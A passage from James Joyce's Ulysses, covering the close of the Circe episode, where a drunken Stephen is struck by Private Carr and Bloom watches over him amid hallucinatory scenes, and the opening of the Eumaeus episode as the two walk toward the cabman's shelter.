DISENGAGES HIMSELF) Why should I not speak to +him or to any human being who walks upright upon this oblate orange? (HE +POINTS HIS FINGER) I'm not afraid of what I can talk to if I see his eye. +Retaining the perpendicular. + +(HE STAGGERS A PACE BACK) + +BLOOM: (PROPPING HIM) Retain your own. + +STEPHEN: (LAUGHS EMPTILY) My centre of gravity is displaced. I have +forgotten the trick. Let us sit down somewhere and discuss. Struggle for +life is the law of existence but but human philirenists, notably the tsar +and the king of England, have invented arbitration. (HE TAPS HIS BROW) +But in here it is I must kill the priest and the king. + +BIDDY THE CLAP: Did you hear what the professor said? He's a professor +out of the college. + +CUNTY KATE: I did. I heard that. + +BIDDY THE CLAP: He expresses himself with such marked refinement of +phraseology. + +CUNTY KATE: Indeed, yes. And at the same time with such apposite +trenchancy. + +PRIVATE CARR: (PULLS HIMSELF FREE AND COMES FORWARD) What's that you're +saying about my king? + +(EDWARD THE SEVENTH APPEARS IN AN ARCHWAY. HE WARS A WHITE JERSEY ON +WHICH AN IMAGE OF THE SACRED HEART IS STITCHED WITH THE INSIGNIA OF +GARTER AND THISTLE, GOLDEN FLEECE, ELEPHANT OF DENMARK, SKINNER'S AND +PROBYN'S HORSE, LINCOLN'S INN BENCHER AND ANCIENT AND HONOURABLE +ARTILLERY COMPANY OF MASSACHUSETTS. HE SUCKS A RED JUJUBE. HE IS ROBED AS +A GRAND ELECT PERFECT AND SUBLIME MASON WITH TROWEL AND APRON, MARKED +made in Germany. IN HIS LEFT HAND HE HOLDS A PLASTERER'S BUCKET ON WHICH +IS PRINTED Defense d'uriner. A ROAR OF WELCOME GREETS HIM.) + +EDWARD THE SEVENTH: (SLOWLY, SOLEMNLY BUT INDISTINCTLY) Peace, perfect +peace. For identification, bucket in my hand. Cheerio, boys. (HE TURNS TO +HIS SUBJECTS) We have come here to witness a clean straight fight and we +heartily wish both men the best of good luck. Mahak makar a bak. + +(HE SHAKES HANDS WITH PRIVATE CARR, PRIVATE COMPTON, STEPHEN, BLOOM AND +LYNCH. GENERAL APPLAUSE. EDWARD THE SEVENTH LIFTS HIS BUCKET GRACIOUSLY +IN ACKNOWLEDGMENT.) + +PRIVATE CARR: (TO STEPHEN) Say it again. + +STEPHEN: (NERVOUS, FRIENDLY, PULLS HIMSELF UP) I understand your point of +view though I have no king myself for the moment. This is the age of +patent medicines. A discussion is difficult down here. But this is the +point. You die for your country. Suppose. (HE PLACES HIS ARM ON PRIVATE +CARR'S SLEEVE) Not that I wish it for you. But I say: Let my country die +for me. Up to the present it has done so. I didn't want it to die. Damn +death. Long live life! + +EDWARD THE SEVENTH: (LEVITATES OVER HEAPS OF SLAIN, IN THE GARB AND WITH +THE HALO OF JOKING JESUS, A WHITE JUJUBE IN HIS PHOSPHORESCENT FACE) + + + My methods are new and are causing surprise. + To make the blind see I throw dust in their eyes. + + +STEPHEN: Kings and unicorns! (HE FILLS BACK A PACE) Come somewhere and +we'll ... What was that girl saying? ... + +PRIVATE COMPTON: Eh, Harry, give him a kick in the knackers. Stick one +into Jerry. + +BLOOM: (TO THE PRIVATES, SOFTLY) He doesn't know what he's saying. Taken +a little more than is good for him. Absinthe. Greeneyed monster. I know +him. He's a gentleman, a poet. It's all right. + +STEPHEN: (NODS, SMILING AND LAUGHING) Gentleman, patriot, scholar and +judge of impostors. + +PRIVATE CARR: I don't give a bugger who he is. + +PRIVATE COMPTON: We don't give a bugger who he is. + +STEPHEN: I seem to annoy them. Green rag to a bull. + +(KEVIN EGAN OF PARIS IN BLACK SPANISH TASSELLED SHIRT AND PEEP-O'-DAY +BOY'S HAT SIGNS TO STEPHEN.) + +KEVIN EGAN: H'lo! BONJOUR! The VIEILLE OGRESSE with the DENTS JAUNES. + +(PATRICE EGAN PEEPS FROM BEHIND, HIS RABBITFACE NIBBLING A QUINCE LEAF.) + +PATRICE: SOCIALISTE! + +DON EMILE PATRIZIO FRANZ RUPERT POPE HENNESSY: (IN MEDIEVAL HAUBERK, TWO +WILD GEESE VOLANT ON HIS HELM, WITH NOBLE INDIGNATION POINTS A MAILED +HAND AGAINST THE PRIVATES) Werf those eykes to footboden, big grand +porcos of johnyellows todos covered of gravy! + +BLOOM: (TO STEPHEN) Come home. You'll get into trouble. + +STEPHEN: (SWAYING) I don't avoid it. He provokes my intelligence. + +BIDDY THE CLAP: One immediately observes that he is of patrician lineage. + +THE VIRAGO: Green above the red, says he. Wolfe Tone. + +THE BAWD: The red's as good as the green. And better. Up the soldiers! Up +King Edward! + +A ROUGH: (LAUGHS) Ay! Hands up to De Wet. + +THE CITIZEN: (WITH A HUGE EMERALD MUFFLER AND SHILLELAGH, CALLS) + + + May the God above + Send down a dove + With teeth as sharp as razors + To slit the throats + Of the English dogs + That hanged our Irish leaders. + + +THE CROPPY BOY: (THE ROPENOOSE ROUND HIS NECK, GRIPES IN HIS ISSUING +BOWELS WITH BOTH HANDS) + + + I bear no hate to a living thing, + But I love my country beyond the king. + + +RUMBOLD, DEMON BARBER: (ACCOMPANIED BY TWO BLACKMASKED ASSISTANTS, +ADVANCES WITH GLADSTONE BAG WHICH HE OPENS) Ladies and gents, cleaver +purchased by Mrs Pearcy to slay Mogg. Knife with which Voisin dismembered +the wife of a compatriot and hid remains in a sheet in the cellar, the +unfortunate female's throat being cut from ear to ear. Phial containing +arsenic retrieved from body of Miss Barron which sent Seddon to the +gallows. + +(HE JERKS THE ROPE. THE ASSISTANTS LEAP AT THE VICTIM'S LEGS AND DRAG HIM +DOWNWARD, GRUNTING THE CROPPY BOY'S TONGUE PROTRUDES VIOLENTLY.) + +THE CROPPY BOY: + + + Horhot ho hray hor hother's hest. + + +(HE GIVES UP THE GHOST. A VIOLENT ERECTION OF THE HANGED SENDS GOUTS OF +SPERM SPOUTING THROUGH HIS DEATHCLOTHES ON TO THE COBBLESTONES. MRS +BELLINGHAM, MRS YELVERTON BARRY AND THE HONOURABLE MRS MERVYN TALBOYS +RUSH FORWARD WITH THEIR HANDKERCHIEFS TO SOP IT UP.) + +RUMBOLD: I'm near it myself. (HE UNDOES THE NOOSE) Rope which hanged the +awful rebel. Ten shillings a time. As applied to Her Royal Highness. (HE +PLUNGES HIS HEAD INTO THE GAPING BELLY OF THE HANGED AND DRAWS OUT HIS +HEAD AGAIN CLOTTED WITH COILED AND SMOKING ENTRAILS) My painful duty has +now been done. God save the king! + +EDWARD THE SEVENTH: (DANCES SLOWLY, SOLEMNLY, RATTLING HIS BUCKET, AND +SINGS WITH SOFT CONTENTMENT) + + + On coronation day, on coronation day, + O, won't we have a merry time, + Drinking whisky, beer and wine! + + +PRIVATE CARR: Here. What are you saying about my king? + +STEPHEN: (THROWS UP HIS HANDS) O, this is too monotonous! Nothing. He +wants my money and my life, though want must be his master, for some +brutish empire of his. Money I haven't. (HE SEARCHES HIS POCKETS VAGUELY) +GAVE IT TO SOMEONE. + +PRIVATE CARR: Who wants your bleeding money? + +STEPHEN: (TRIES TO MOVE OFF) Will someone tell me where I am least likely +to meet these necessary evils? CA SE VOIT AUSSI A PARIS. Not that I ... +But, by Saint Patrick ...! + +(THE WOMEN'S HEADS COALESCE. OLD GUMMY GRANNY IN SUGARLOAF HAT APPEARS +SEATED ON A TOADSTOOL, THE DEATHFLOWER OF THE POTATO BLIGHT ON HER +BREAST.) + +STEPHEN: Aha! I know you, gammer! Hamlet, revenge! The old sow that eats +her farrow! + +OLD GUMMY GRANNY: (ROCKING TO AND FRO) Ireland's sweetheart, the king of +Spain's daughter, alanna. Strangers in my house, bad manners to them! +(SHE KEENS WITH BANSHEE WOE) Ochone! Ochone! Silk of the kine! (SHE +WAILS) You met with poor old Ireland and how does she stand? + +STEPHEN: How do I stand you? The hat trick! Where's the third person of +the Blessed Trinity? Soggarth Aroon? The reverend Carrion Crow. + +CISSY CAFFREY: (SHRILL) Stop them from fighting! + +A ROUGH: Our men retreated. + +PRIVATE CARR: (TUGGING AT HIS BELT) I'll wring the neck of any fucker +says a word against my fucking king. + +BLOOM: (TERRIFIED) He said nothing. Not a word. A pure misunderstanding. + +THE CITIZEN: ERIN GO BRAGH! + +(MAJOR TWEEDY AND THE CITIZEN EXHIBIT TO EACH OTHER MEDALS, DECORATIONS, +TROPHIES OF WAR, WOUNDS. BOTH SALUTE WITH FIERCE HOSTILITY.) + +PRIVATE COMPTON: Go it, Harry. Do him one in the eye. He's a proboer. + +STEPHEN: Did I? When? + +BLOOM: (TO THE REDCOATS) We fought for you in South Africa, Irish missile +troops. Isn't that history? Royal Dublin Fusiliers. Honoured by our +monarch. + +THE NAVVY: (STAGGERING PAST) O, yes! O God, yes! O, make the kwawr a +krowawr! O! Bo! + +(CASQUED HALBERDIERS IN ARMOUR THRUST FORWARD A PENTICE OF GUTTED +SPEARPOINTS. MAJOR TWEEDY, MOUSTACHED LIKE TURKO THE TERRIBLE, IN +BEARSKIN CAP WITH HACKLEPLUME AND ACCOUTREMENTS, WITH EPAULETTES, GILT +CHEVRONS AND SABRETACHES, HIS BREAST BRIGHT WITH MEDALS, TOES THE LINE. +HE GIVES THE PILGRIM WARRIOR'S SIGN OF THE KNIGHTS TEMPLARS.) + +MAJOR TWEEDY: (GROWLS GRUFFLY) Rorke's Drift! Up, guards, and at them! +Mahar shalal hashbaz. + +PRIVATE CARR: I'll do him in. + +PRIVATE COMPTON: (WAVES THE CROWD BACK) Fair play, here. Make a bleeding +butcher's shop of the bugger. + +(MASSED BANDS BLARE Garryowen AND God save the king.) + +CISSY CAFFREY: They're going to fight. For me! + +CUNTY KATE: The brave and the fair. + +BIDDY THE CLAP: Methinks yon sable knight will joust it with the best. + +CUNTY KATE: (BLUSHING DEEPLY) Nay, madam. The gules doublet and merry +saint George for me! + +STEPHEN: + + + The harlot's cry from street to street + Shall weave Old Ireland's windingsheet. + + +PRIVATE CARR: (LOOSENING HIS BELT, SHOUTS) I'll wring the neck of any +fucking bastard says a word against my bleeding fucking king. + +BLOOM: (SHAKES CISSY CAFFREY'S SHOULDERS) Speak, you! Are you struck +dumb? You are the link between nations and generations. Speak, woman, +sacred lifegiver! + +CISSY CAFFREY: (ALARMED, SEIZES PRIVATE CARR'S SLEEVE) Amn't I with you? +Amn't I your girl? Cissy's your girl. (SHE CRIES) Police! + +STEPHEN: (ECSTATICALLY, TO CISSY CAFFREY) + + + White thy fambles, red thy gan + And thy quarrons dainty is. + + +VOICES: Police! + +DISTANT VOICES: Dublin's burning! Dublin's burning! On fire, on fire! + +(BRIMSTONE FIRES SPRING UP. DENSE CLOUDS ROLL PAST. HEAVY GATLING GUNS +BOOM. PANDEMONIUM. TROOPS DEPLOY. GALLOP OF HOOFS. ARTILLERY. HOARSE +COMMANDS. BELLS CLANG. BACKERS SHOUT. DRUNKARDS BAWL. WHORES SCREECH. +FOGHORNS HOOT. CRIES OF VALOUR. SHRIEKS OF DYING. PIKES CLASH ON +CUIRASSES. THIEVES ROB THE SLAIN. BIRDS OF PREY, WINGING FROM THE SEA, +RISING FROM MARSHLANDS, SWOOPING FROM EYRIES, HOVER SCREAMING, GANNETS, +CORMORANTS, VULTURES, GOSHAWKS, CLIMBING WOODCOCKS, PEREGRINES, MERLINS, +BLACKGROUSE, SEA EAGLES, GULLS, ALBATROSSES, BARNACLE GEESE. THE MIDNIGHT +SUN IS DARKENED. THE EARTH TREMBLES. THE DEAD OF DUBLIN FROM PROSPECT AND +MOUNT JEROME IN WHITE SHEEPSKIN OVERCOATS AND BLACK GOATFELL CLOAKS ARISE +AND APPEAR TO MANY. A CHASM OPENS WITH A NOISELESS YAWN. TOM ROCHFORD, +WINNER, IN ATHLETE'S SINGLET AND BREECHES, ARRIVES AT THE HEAD OF THE +NATIONAL HURDLE HANDICAP AND LEAPS INTO THE VOID. HE IS FOLLOWED BY A +RACE OF RUNNERS AND LEAPERS. IN WILD ATTITUDES THEY SPRING FROM THE +BRINK. THEIR BODIES PLUNGE. FACTORY LASSES WITH FANCY CLOTHES TOSS REDHOT +YORKSHIRE BARAABOMBS. SOCIETY LADIES LIFT THEIR SKIRTS ABOVE THEIR HEADS +TO PROTECT THEMSELVES. LAUGHING WITCHES IN RED CUTTY SARKS RIDE THROUGH +THE AIR ON BROOMSTICKS. QUAKERLYSTER PLASTERS BLISTERS. IT RAINS DRAGONS' +TEETH. ARMED HEROES SPRING UP FROM FURROWS. THEY EXCHANGE IN AMITY THE +PASS OF KNIGHTS OF THE RED CROSS AND FIGHT DUELS WITH CAVALRY SABRES: +WOLFE TONE AGAINST HENRY GRATTAN, SMITH O'BRIEN AGAINST DANIEL O'CONNELL, +MICHAEL DAVITT AGAINST ISAAC BUTT, JUSTIN M'CARTHY AGAINST PARNELL, +ARTHUR GRIFFITH AGAINST JOHN REDMOND, JOHN O'LEARY AGAINST LEAR O'JOHNNY, +LORD EDWARD FITZGERALD AGAINST LORD GERALD FITZEDWARD, THE O'DONOGHUE OF +THE GLENS AGAINST THE GLENS OF THE O'DONOGHUE. ON AN EMINENCE, THE CENTRE +OF THE EARTH, RISES THE FELDALTAR OF SAINT BARBARA. BLACK CANDLES RISE +FROM ITS GOSPEL AND EPISTLE HORNS. FROM THE HIGH BARBACANS OF THE TOWER +TWO SHAFTS OF LIGHT FALL ON THE SMOKEPALLED ALTARSTONE. ON THE ALTARSTONE +MRS MINA PUREFOY, GODDESS OF UNREASON, LIES, NAKED, FETTERED, A CHALICE +RESTING ON HER SWOLLEN BELLY. FATHER MALACHI O'FLYNN IN A LACE PETTICOAT +AND REVERSED CHASUBLE, HIS TWO LEFT FEET BACK TO THE FRONT, CELEBRATES +CAMP MASS. THE REVEREND MR HUGH C HAINES LOVE M. A. IN A PLAIN CASSOCK +AND MORTARBOARD, HIS HEAD AND COLLAR BACK TO THE FRONT, HOLDS OVER THE +CELEBRANT'S HEAD AN OPEN UMBRELLA.) + +FATHER MALACHI O'FLYNN: INTROIBO AD ALTARE DIABOLI. + +THE REVEREND MR HAINES LOVE: To the devil which hath made glad my young +days. + +FATHER MALACHI O'FLYNN: (TAKES FROM THE CHALICE AND ELEVATES A +BLOODDRIPPING HOST) CORPUS MEUM. + +THE REVEREND MR HAINES LOVE: (RAISES HIGH BEHIND THE CELEBRANT'S +PETTICOAT, REVEALING HIS GREY BARE HAIRY BUTTOCKS BETWEEN WHICH A CARROT +IS STUCK) My body. + +THE VOICE OF ALL THE DAMNED: Htengier Tnetopinmo Dog Drol eht rof, +Aiulella! + +(FROM ON HIGH THE VOICE OF ADONAI CALLS.) + +ADONAI: Dooooooooooog! + +THE VOICE OF ALL THE BLESSED: Alleluia, for the Lord God Omnipotent +reigneth! + +(FROM ON HIGH THE VOICE OF ADONAI CALLS.) + +ADONAI: Goooooooooood! + +(IN STRIDENT DISCORD PEASANTS AND TOWNSMEN OF ORANGE AND GREEN FACTIONS +SING Kick the Pope AND Daily, daily sing to Mary.) + +PRIVATE CARR: (WITH FEROCIOUS ARTICULATION) I'll do him in, so help me +fucking Christ! I'll wring the bastard fucker's bleeding blasted fucking +windpipe! + +OLD GUMMY GRANNY: (THRUSTS A DAGGER TOWARDS STEPHEN'S HAND) Remove him, +acushla. At 8.35 a.m. you will be in heaven and Ireland will be free. +(SHE PRAYS) O good God, take him! + +(THE RETRIEVER, NOSING ON THE FRINGE OF THE CROWD, BARKS NOISILY.) + +BLOOM: (RUNS TO LYNCH) Can't you get him away? + +LYNCH: He likes dialectic, the universal language. Kitty! (TO BLOOM) Get +him away, you. He won't listen to me. + +(HE DRAGS KITTY AWAY.) + +STEPHEN: (POINTS) EXIT JUDAS. ET LAQUEO SE SUSPENDIT. + +BLOOM: (RUNS TO STEPHEN) Come along with me now before worse happens. +Here's your stick. + +STEPHEN: Stick, no. Reason. This feast of pure reason. + +CISSY CAFFREY: (PULLING PRIVATE CARR) Come on, you're boosed. He insulted +me but I forgive him. (SHOUTING IN HIS EAR) I forgive him for insulting +me. + +BLOOM: (OVER STEPHEN'S SHOULDER) Yes, go. You see he's incapable. + +PRIVATE CARR: (BREAKS LOOSE) I'll insult him. + +(HE RUSHES TOWARDS STEPHEN, FIST OUTSTRETCHED, AND STRIKES HIM IN THE +FACE. STEPHEN TOTTERS, COLLAPSES, FALLS, STUNNED. HE LIES PRONE, HIS FACE +TO THE SKY, HIS HAT ROLLING TO THE WALL. BLOOM FOLLOWS AND PICKS IT UP.) + +MAJOR TWEEDY: (LOUDLY) Carbine in bucket! Cease fire! Salute! + +THE RETRIEVER: (BARKING FURIOUSLY) Ute ute ute ute ute ute ute ute. + +THE CROWD: Let him up! Don't strike him when he's down! Air! Who? The +soldier hit him. He's a professor. Is he hurted? Don't manhandle him! +He's fainted! + +A HAG: What call had the redcoat to strike the gentleman and he under the +influence. Let them go and fight the Boers! + +THE BAWD: Listen to who's talking! Hasn't the soldier a right to go with +his girl? He gave him the coward's blow. + +(THEY GRAB AT EACH OTHER'S HAIR, CLAW AT EACH OTHER AND SPIT) + +THE RETRIEVER: (BARKING) Wow wow wow. + +BLOOM: (SHOVES THEM BACK, LOUDLY) Get back, stand back! + +PRIVATE COMPTON: (TUGGING HIS COMRADE) Here. Bugger off, Harry. Here's +the cops! + +(TWO RAINCAPED WATCH, TALL, STAND IN THE GROUP.) + +FIRST WATCH: What's wrong here? + +PRIVATE COMPTON: We were with this lady. And he insulted us. And +assaulted my chum. (THE RETRIEVER BARKS) Who owns the bleeding tyke? + +CISSY CAFFREY: (WITH EXPECTATION) Is he bleeding! + +A MAN: (RISING FROM HIS KNEES) No. Gone off. He'll come to all right. + +BLOOM: (GLANCES SHARPLY AT THE MAN) Leave him to me. I can easily ... + +SECOND WATCH: Who are you? Do you know him? + +PRIVATE CARR: (LURCHES TOWARDS THE WATCH) He insulted my lady friend. + +BLOOM: (ANGRILY) You hit him without provocation. I'm a witness. +Constable, take his regimental number. + +SECOND WATCH: I don't want your instructions in the discharge of my duty. + +PRIVATE COMPTON: (PULLING HIS COMRADE) Here, bugger off Harry. Or +Bennett'll shove you in the lockup. + +PRIVATE CARR: (STAGGERING AS HE IS PULLED AWAY) God fuck old Bennett. +He's a whitearsed bugger. I don't give a shit for him. + +FIRST WATCH: (TAKES OUT HIS NOTEBOOK) What's his name? + +BLOOM: (PEERING OVER THE CROWD) I just see a car there. If you give me a +hand a second, sergeant ... + +FIRST WATCH: Name and address. + +(CORNY KELLEKER, WEEPERS ROUND HIS HAT, A DEATH WREATH IN HIS HAND, +APPEARS AMONG THE BYSTANDERS.) + +BLOOM: (QUICKLY) O, the very man! (HE WHISPERS) Simon Dedalus' son. A bit +sprung. Get those policemen to move those loafers back. + +SECOND WATCH: Night, Mr Kelleher. + +CORNY KELLEHER: (TO THE WATCH, WITH DRAWLING EYE) That's all right. I +know him. Won a bit on the races. Gold cup. Throwaway. (HE LAUGHS) Twenty +to one. Do you follow me? + +FIRST WATCH: (TURNS TO THE CROWD) Here, what are you all gaping at? Move +on out of that. + +(THE CROWD DISPERSES SLOWLY, MUTTERING, DOWN THE LANE.) + +CORNY KELLEHER: Leave it to me, sergeant. That'll be all right. (HE +LAUGHS, SHAKING HIS HEAD) We were often as bad ourselves, ay or worse. +What? Eh, what? + +FIRST WATCH: (LAUGHS) I suppose so. + +CORNY KELLEHER: (NUDGES THE SECOND WATCH) Come and wipe your name off the +slate. (HE LILTS, WAGGING HIS HEAD) With my tooraloom tooraloom tooraloom +tooraloom. What, eh, do you follow me? + +SECOND WATCH: (GENIALLY) Ah, sure we were too. + +CORNY KELLEHER: (WINKING) Boys will be boys. I've a car round there. + +SECOND WATCH: All right, Mr Kelleher. Good night. + +CORNY KELLEHER: I'll see to that. + +BLOOM: (SHAKES HANDS WITH BOTH OF THE WATCH IN TURN) Thank you very much, +gentlemen. Thank you. (HE MUMBLES CONFIDENTIALLY) We don't want any +scandal, you understand. Father is a wellknown highly respected citizen. +Just a little wild oats, you understand. + +FIRST WATCH: O. I understand, sir. + +SECOND WATCH: That's all right, sir. + +FIRST WATCH: It was only in case of corporal injuries I'd have to report +it at the station. + +BLOOM: (NODS RAPIDLY) Naturally. Quite right. Only your bounden duty. + +SECOND WATCH: It's our duty. + +CORNY KELLEHER: Good night, men. + +THE WATCH: (SALUTING TOGETHER) Night, gentlemen. (THEY MOVE OFF WITH SLOW +HEAVY TREAD) + +BLOOM: (BLOWS) Providential you came on the scene. You have a car? ... + +CORNY KELLEHER: (LAUGHS, POINTING HIS THUMB OVER HIS RIGHT SHOULDER TO +THE CAR BROUGHT UP AGAINST THE SCAFFOLDING) Two commercials that were +standing fizz in Jammet's. Like princes, faith. One of them lost two quid +on the race. Drowning his grief. And were on for a go with the jolly +girls. So I landed them up on Behan's car and down to nighttown. + +BLOOM: I was just going home by Gardiner street when I happened to ... + +CORNY KELLEHER: (LAUGHS) Sure they wanted me to join in with the mots. +No, by God, says I. Not for old stagers like myself and yourself. (HE +LAUGHS AGAIN AND LEERS WITH LACKLUSTRE EYE) Thanks be to God we have it +in the house, what, eh, do you follow me? Hah, hah, hah! + +BLOOM: (TRIES TO LAUGH) He, he, he! Yes. Matter of fact I was just +visiting an old friend of mine there, Virag, you don't know him (poor +fellow, he's laid up for the past week) and we had a liquor together and +I was just making my way home ... + +(THE HORSE NEIGHS.) + +THE HORSE: Hohohohohohoh! Hohohohome! + +CORNY KELLEHER: Sure it was Behan our jarvey there that told me after we +left the two commercials in Mrs Cohen's and I told him to pull up and got +off to see. (HE LAUGHS) Sober hearsedrivers a speciality. Will I give him +a lift home? Where does he hang out? Somewhere in Cabra, what? + +BLOOM: No, in Sandycove, I believe, from what he let drop. + +(STEPHEN, PRONE, BREATHES TO THE STARS. CORNY KELLEHER, ASQUINT, DRAWLS +AT THE HORSE. BLOOM, IN GLOOM, LOOMS DOWN.) + +CORNY KELLEHER: (SCRATCHES HIS NAPE) Sandycove! (HE BENDS DOWN AND CALLS +TO STEPHEN) Eh! (HE CALLS AGAIN) Eh! He's covered with shavings anyhow. +Take care they didn't lift anything off him. + +BLOOM: No, no, no. I have his money and his hat here and stick. + +CORNY KELLEHER: Ah, well, he'll get over it. No bones broken. Well, I'll +shove along. (HE LAUGHS) I've a rendezvous in the morning. Burying the +dead. Safe home! + +THE HORSE: (NEIGHS) Hohohohohome. + +BLOOM: Good night. I'll just wait and take him along in a few ... + +(CORNY KELLEHER RETURNS TO THE OUTSIDE CAR AND MOUNTS IT. THE HORSE +HARNESS JINGLES.) + +CORNY KELLEHER: (FROM THE CAR, STANDING) Night. + +BLOOM: Night. + +(THE JARVEY CHUCKS THE REINS AND RAISES HIS WHIP ENCOURAGINGLY. THE CAR +AND HORSE BACK SLOWLY, AWKWARDLY, AND TURN. CORNY KELLEHER ON THE +SIDESEAT SWAYS HIS HEAD TO AND FRO IN SIGN OF MIRTH AT BLOOM'S PLIGHT. +THE JARVEY JOINS IN THE MUTE PANTOMIMIC MERRIMENT NODDING FROM THE +FARTHER SEAT. BLOOM SHAKES HIS HEAD IN MUTE MIRTHFUL REPLY. WITH THUMB +AND PALM CORNY KELLEHER REASSURES THAT THE TWO BOBBIES WILL ALLOW THE +SLEEP TO CONTINUE FOR WHAT ELSE IS TO BE DONE. WITH A SLOW NOD BLOOM +CONVEYS HIS GRATITUDE AS THAT IS EXACTLY WHAT STEPHEN NEEDS. THE CAR +JINGLES TOORALOOM ROUND THE CORNER OF THE TOORALOOM LANE. CORNY KELLEHER +AGAIN REASSURALOOMS WITH HIS HAND. BLOOM WITH HIS HAND ASSURALOOMS CORNY +KELLEHER THAT HE IS REASSURALOOMTAY. THE TINKLING HOOFS AND JINGLING +HARNESS GROW FAINTER WITH THEIR TOORALOOLOO LOOLOO LAY. BLOOM, HOLDING IN +HIS HAND STEPHEN'S HAT, FESTOONED WITH SHAVINGS, AND ASHPLANT, STANDS +IRRESOLUTE. THEN HE BENDS TO HIM AND SHAKES HIM BY THE SHOULDER.) + +BLOOM: Eh! Ho! (THERE IS NO ANSWER; HE BENDS AGAIN) Mr Dedalus! (THERE IS +NO ANSWER) The name if you call. Somnambulist. (HE BENDS AGAIN AND +HESITATING, BRINGS HIS MOUTH NEAR THE FACE OF THE PROSTRATE FORM) +Stephen! (THERE IS NO ANSWER. HE CALLS AGAIN.) Stephen! + +STEPHEN: (GROANS) Who? Black panther. Vampire. (HE SIGHS AND STRETCHES +HIMSELF, THEN MURMURS THICKLY WITH PROLONGED VOWELS) + + + Who ... drive... Fergus now + And pierce ... wood's woven shade? ... + +(HE TURNS ON HIS LEFT SIDE, SIGHING, DOUBLING HIMSELF TOGETHER.) + +BLOOM: Poetry. Well educated. Pity. (HE BENDS AGAIN AND UNDOES THE +BUTTONS OF STEPHEN'S WAISTCOAT) To breathe. (HE BRUSHES THE WOODSHAVINGS +FROM STEPHEN'S CLOTHES WITH LIGHT HAND AND FINGERS) One pound seven. Not +hurt anyhow. (HE LISTENS) What? + +STEPHEN: (MURMURS) + + + ... shadows ... the woods + ... white breast... dim sea. + + +(HE STRETCHES OUT HIS ARMS, SIGHS AGAIN AND CURLS HIS BODY. BLOOM, +HOLDING THE HAT AND ASHPLANT, STANDS ERECT. A DOG BARKS IN THE DISTANCE. +BLOOM TIGHTENS AND LOOSENS HIS GRIP ON THE ASHPLANT. HE LOOKS DOWN ON +STEPHEN'S FACE AND FORM.) + +BLOOM: (COMMUNES WITH THE NIGHT) Face reminds me of his poor mother. In +the shady wood. The deep white breast. Ferguson, I think I caught. A +girl. Some girl. Best thing could happen him. (HE MURMURS) ... swear that +I will always hail, ever conceal, never reveal, any part or parts, art or +arts ... (HE MURMURS) ... in the rough sands of the sea ... a cabletow's +length from the shore ... where the tide ebbs ... and flows ... + +(SILENT, THOUGHTFUL, ALERT HE STANDS ON GUARD, HIS FINGERS AT HIS LIPS IN +THE ATTITUDE OF SECRET MASTER. AGAINST THE DARK WALL A FIGURE APPEARS +SLOWLY, A FAIRY BOY OF ELEVEN, A CHANGELING, KIDNAPPED, DRESSED IN AN +ETON SUIT WITH GLASS SHOES AND A LITTLE BRONZE HELMET, HOLDING A BOOK IN +HIS HAND. HE READS FROM RIGHT TO LEFT INAUDIBLY, SMILING, KISSING THE +PAGE.) + +BLOOM: (WONDERSTRUCK, CALLS INAUDIBLY) Rudy! + +RUDY: (GAZES, UNSEEING, INTO BLOOM'S EYES AND GOES ON READING, KISSING, +SMILING. HE HAS A DELICATE MAUVE FACE. ON HIS SUIT HE HAS DIAMOND AND +RUBY BUTTONS. IN HIS FREE LEFT HAND HE HOLDS A SLIM IVORY CANE WITH A +VIOLET BOWKNOT. A WHITE LAMBKIN PEEPS OUT OF HIS WAISTCOAT POCKET.) + + + -- III -- + + +Preparatory to anything else Mr Bloom brushed off the greater bulk of the +shavings and handed Stephen the hat and ashplant and bucked him up +generally in orthodox Samaritan fashion which he very badly needed. His +(Stephen's) mind was not exactly what you would call wandering but a bit +unsteady and on his expressed desire for some beverage to drink Mr Bloom +in view of the hour it was and there being no pump of Vartry water +available for their ablutions let alone drinking purposes hit upon an +expedient by suggesting, off the reel, the propriety of the cabman's +shelter, as it was called, hardly a stonesthrow away near Butt bridge +where they might hit upon some drinkables in the shape of a milk and soda +or a mineral. But how to get there was the rub. For the nonce he was +rather nonplussed but inasmuch as the duty plainly devolved upon him to +take some measures on the subject he pondered suitable ways and means +during which Stephen repeatedly yawned. So far as he could see he was +rather pale in the face so that it occurred to him as highly advisable to +get a conveyance of some description which would answer in their then +condition, both of them being e.d.ed, particularly Stephen, always +assuming that there was such a thing to be found. Accordingly after a few +such preliminaries as brushing, in spite of his having forgotten to take +up his rather soapsuddy handkerchief after it had done yeoman service in +the shaving line, they both walked together along Beaver street or, more +properly, lane as far as the farrier's and the distinctly fetid +atmosphere of the livery stables at the corner of Montgomery street where +they made tracks to the left from thence debouching into Amiens street +round by the corner of Dan Bergin's. But as he confidently anticipated +there was not a sign of a Jehu plying for hire anywhere to be seen except +a fourwheeler, probably engaged by some fellows inside on the spree, +outside the North Star hotel and there was no symptom of its budging a +quarter of an inch when Mr Bloom, who was anything but a professional +whistler, endeavoured to hail it by emitting a kind of a whistle, holding +his arms arched over his head, twice. + +This was a quandary but, bringing common sense to bear on it, evidently +there was nothing for it but put a good face on the matter and foot it +which they accordingly did. So, bevelling around by Mullett's and the +Signal House which they shortly reached, they proceeded perforce in the +direction of Amiens street railway terminus, Mr Bloom being handicapped +by the circumstance that one of the back buttons of his trousers had, to +vary the timehonoured adage, gone the way of all buttons though, entering +thoroughly into the spirit of the thing, he heroically made light of the +mischance. So as neither of them were particularly pressed for time, as +it happened, and the temperature refreshing since it cleared up after the +recent visitation of Jupiter Pluvius, they dandered along past by where +the empty vehicle was waiting without a fare or a jarvey. As it so +happened a Dublin United Tramways Company's sandstrewer happened to be +returning and the elder man recounted to his companion A PROPOS of the +incident his own truly miraculous escape of some little while back. They +passed the main entrance of the Great Northern railway station, the +starting point for Belfast, where of course all traffic was suspended at +that late hour and passing the backdoor of the morgue (a not very +enticing locality, not to say gruesome to a degree, more especially at +night) ultimately gained the Dock Tavern and in due course turned into +Store street, famous for its C division police station. Between this +point and the high at present unlit warehouses of Beresford place Stephen +thought to think of Ibsen, associated with Baird's the stonecutter's in +his mind somehow in Talbot place, first turning on the right, while the +other who was acting as his FIDUS ACHATES inhaled with internal +satisfaction the smell of James Rourke's city bakery, situated quite +close to where they were, the very palatable odour indeed of our daily +bread, of all commodities of the public the primary and most +indispensable. Bread, the staff of life, earn your bread, O tell me where +is fancy bread, at Rourke's the baker's it is said. + +EN ROUTE to his taciturn and, not to put too fine a point on it, not yet +perfectly sober companion Mr Bloom who at all events was in complete +possession of his faculties, never more so, in fact disgustingly sober, +spoke a word of caution re the dangers of nighttown, women of ill fame +and swell mobsmen, which, barely permissible once in a while though not +as a habitual practice, was of the nature of a regular deathtrap for +young fellows of his age particularly if they had acquired drinking +habits under the influence of liquor unless you 